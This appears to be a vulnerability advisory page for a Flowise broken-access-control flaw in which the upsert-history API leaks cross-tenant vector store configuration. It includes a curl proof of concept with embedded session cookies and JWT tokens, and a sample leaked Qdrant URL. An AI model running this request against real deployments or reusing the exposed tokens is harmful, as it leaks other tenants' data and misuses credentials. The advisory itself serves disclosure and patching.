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Flowise EUVDEUVD-2026-52853

| CVE-2026-70473 HIGH
Information Exposure (CWE-200)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-fr6g-7cq8-fg82
8.3
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
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Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY
8.3 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.1 HIGH

Network API requiring a valid session (PR:L); full cross-tenant confidentiality breach (C:H); minor availability impact from large response resource consumption (A:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 04, 2026 - 18:21 vuln.today
Analysis Generated
Aug 04, 2026 - 18:21 vuln.today
CVE Published
Aug 04, 2026 - 17:57 cve.org
HIGH

DescriptionCVE.org

Summary

The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

  • Affected endpoint: GET /api/v1/upsert-history
  • Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
  • Authorization checks (RBAC/user-based access control)
  • Data scoping (workspace/project/tenant isolation)
  • Pagination/limits (excessive data exposure and very large responses)
  • Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response:
json
  {
    "label": "Qdrant",
    "name": "qdrant",
    "category": "Vector Stores",
    "id": "qdrant_0",
    "paramValues": [
      {
        "label": "Qdrant Server URL",
        "name": "qdrantServerUrl",
        "type": "string",
        "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io"
      },
      {
        "label": "Qdrant Collection Name",
        "name": "qdrantCollection",
        "type": "string",
        "value": "fair-herring-azure"
      },
      {
        "label": "Vector Dimension",
        "name": "qdrantVectorDimension",
        "type": "number",
        "value": 1536
      },
      {
        "label": "Content Key",
        "name": "contentPayloadKey",
        "type": "string",
        "value": "content"
      },
      {
        "label": "Metadata Key",
        "name": "metadataPayloadKey",
        "type": "string",
        "value": "metadata"
      },
      {
        "label": "Similarity",
        "name": "qdrantSimilarity",
        "type": "options",
        "value": "Cosine"
      }
    ]
  }
### POC

1. Using `curl` and call the enpoint `GET  /api/v1/upsert-history`, sever returns the **entire server-wide upsert history**

curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0' -H 'X-Request-From: internal' -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819' -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"' -H 'Connection: keep-alive' -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8' --compressed -sS -o resp.json

2. Verify the response size (expected: very large, e.g., >100MB)

ls -lh resp.json

### Impact
- **Vulnerability type:** Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)
- **Who is impacted:** All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history
- **Security consequences:**
  - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks
  - Leakage of internal schema/pipeline details (e.g., content/metadata keys)
  - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)

AnalysisAI

Broken access control in Flowise's GET /api/v1/upsert-history API endpoint exposes the entire server-wide upsert history - exceeding 100MB per response - to any authenticated user, leaking sensitive infrastructure credentials including Qdrant server URLs, collection names, and vector pipeline configuration across all tenants and workspaces. The vulnerability is confirmed in flowise <= 3.1.2 and publicly documented in GHSA-fr6g-7cq8-fg82 with a working curl-based proof-of-concept, meaning any account holder on a multi-tenant deployment can harvest cross-tenant vector store configuration for reconnaissance or targeted follow-on attacks against exposed backends. Vendor-released patch flowise@3.1.3 is confirmed available and addresses missing workspace-scoping enforcement across multiple API controllers.

Technical ContextAI

Flowise (npm package flowise, CPE pkg:npm/flowise) is an open-source LLM orchestration platform built on Node.js and TypeScript that enables users to construct AI workflows integrating vector stores, document stores, and LLM APIs. The GET /api/v1/upsert-history endpoint is intended to return a user's own document upsert history, but the controller implementation failed to extract and apply the authenticated user's workspaceId (available via req.user?.activeWorkspaceId) before querying the database, causing the service layer to return the global, unscoped result set. This maps to CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) - specifically a missing authorization and tenant-isolation check. The PR #6170 patch diff confirms the root cause: the fix adds workspaceId validation and passes it to workspace-aware service methods (e.g., getChatflowByIdForWorkspace) across the upsert-history, chat-messages, leads, documentstore, and openai-assistants-vector-store controllers, indicating a systemic pattern of missing workspace enforcement across the Flowise API surface rather than an isolated endpoint bug.

RemediationAI

The vendor-released patch is flowise@3.1.3, confirmed by the GitHub release at https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3. Operators should upgrade immediately using npm install flowise@3.1.3 or equivalent package manager command. The fix, implemented in PR #6170 (commit d81483b70c997ddf981acc9c49fbd9a02fa345cd), adds workspaceId enforcement across the upsert-history and multiple other controllers to enforce tenant isolation. As a temporary compensating control prior to patching, operators can configure a reverse proxy or WAF to deny requests matching the path /api/v1/upsert-history; this will fully disable the upsert history feature for all users and may break in-application document store workflows, so it should be treated as a short-term stop-gap only. For multi-tenant deployments, restricting the Flowise instance to trusted internal networks reduces but does not eliminate risk, since any authenticated internal user can still exploit the endpoint.

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EUVD-2026-52853 vulnerability details – vuln.today

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